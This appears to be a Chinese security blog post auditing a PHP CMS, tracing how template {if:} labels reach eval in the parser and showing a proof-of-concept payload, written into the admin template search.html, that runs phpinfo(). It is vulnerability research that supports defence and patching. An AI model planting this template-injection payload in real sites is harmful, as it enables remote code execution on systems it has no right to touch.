

漏洞产生原因：

z33php cms，远程代码执行漏洞存在的主要原因是页面对模块的php代码过滤不严谨，导致在后台可以写入php代码从而造成代码执行。

源码审计：

打开/search/index.php

```
require dirname(dirname(__FILE__)). '/inc/z33_client.php';
```

发现是跳到/inc/z33_client.php，那么我们就来到/inc/z33_client.php

```
136 > }elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){  
137 > $zcontent = load_file($tplfile,$location);  
138 > $parser = new ParserTemplate();  
139 > $zcontent = $parser->parserCommon($zcontent); // 解析模板  
140 > echo $zcontent;
```

发现解析模块是通过ParserTemplate来解析的，那么我们找到ParserTemplate类的php文件z33_template.php。在z33_template.php中我们发现一个IF语句

```
$zcontent = $this->parserIfLabel( $zcontent ); // IF
```

那么我们来到z33_template.php中对parserIfLabel的定义

```
2190 > public  
2191 > function parserIfLabel( $zcontent ) {  
2192 >     $pattern = '/\{if:([\s\S]+?)\}([\s\S]*?)\{end\s+if\}/';  
2193 >     if ( preg_match_all( $pattern, $zcontent, $matches ) ) {  
2194 >         $count = count( $matches[ 0 ] );  
2195 >         for ( $i = 0; $i < $count; $i++ ) {  
2196 >             $flag = '';  
2197 >             $out_html = '';  
2198 >             $ifstr = $matches[ 1 ][ $i ];  
2199 >             $ifstr = str_replace( '<>', '!=', $ifstr );  
2200 >             $ifstr = str_replace( 'mod', '%', $ifstr );  
2201 >             $ifstr1 = cleft( $ifstr, 0, 1 );  
2202 >             switch ( $ifstr1 ) {  
2203 >                 case '=':  
2204 >                     $ifstr = '0' . $ifstr;  
2205 >                     break;  
2206 >                 case '{':  
2207 >                 case '[':  
2208 >                     $ifstr = '"' . str_replace( '"', '!=', $ifstr );  
2209 >                     break;  
2210 >             }  
2211 >             $ifstr = str_replace( '!=', '==', $ifstr );  
2212 >             $ifstr = str_replace( '==', '==', $ifstr );  
2213 >             @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}') ;
```

发现\$ifstr 经过一连串的花里胡哨的过滤最后进了eval函数，然后使用了eval函数执行，最后造成了本次远程代码执行漏洞。

漏洞利用：

后台首页模板管理

关闭操作退出

刷新电脑模板手机模板

Search

文件名	路径	类型	时间	大小	操作
cn2016(6)	/zzzcms/template/pc/cn2016	Folder	2019-01-14 13:27:34		

template&type=&folder=cn2016

然后在cn2016文件中到html文件，然后在html文件中找到search.html，然后将其的代码修改为

```
{if:assert($_request[phpinfo()])}phpinfo();{end if}
```

后台首页单篇管理模板管理

index.htmlleft.htmllist.htmlnewlist.htmlphotolist.htmlproduct.htmlproductlist.htmlsearch.htmltaglist.htmluser.htmluseredit.htmluserinfo.htmluserleft.htmluserpwd.html

信息

```
1 {if:assert($_request[phpinfo()])}phpinfo();{end if}
```

保存内容关闭

然后打开http://xxxx.com/zzzcms/search/就可以看到我们刚刚输入的phpinfo()执行了。

点击收藏 | 0 关注 | 1

[上一篇：从RCE到LDAP访问](#)
[下一篇：从RCE到LDAP访问](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#)
[关于社区](#)
[友情链接](#)
[社区小黑板](#)